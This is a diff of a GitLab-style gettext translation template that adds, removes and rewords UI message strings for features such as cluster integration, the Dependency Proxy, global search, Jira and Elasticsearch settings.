msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
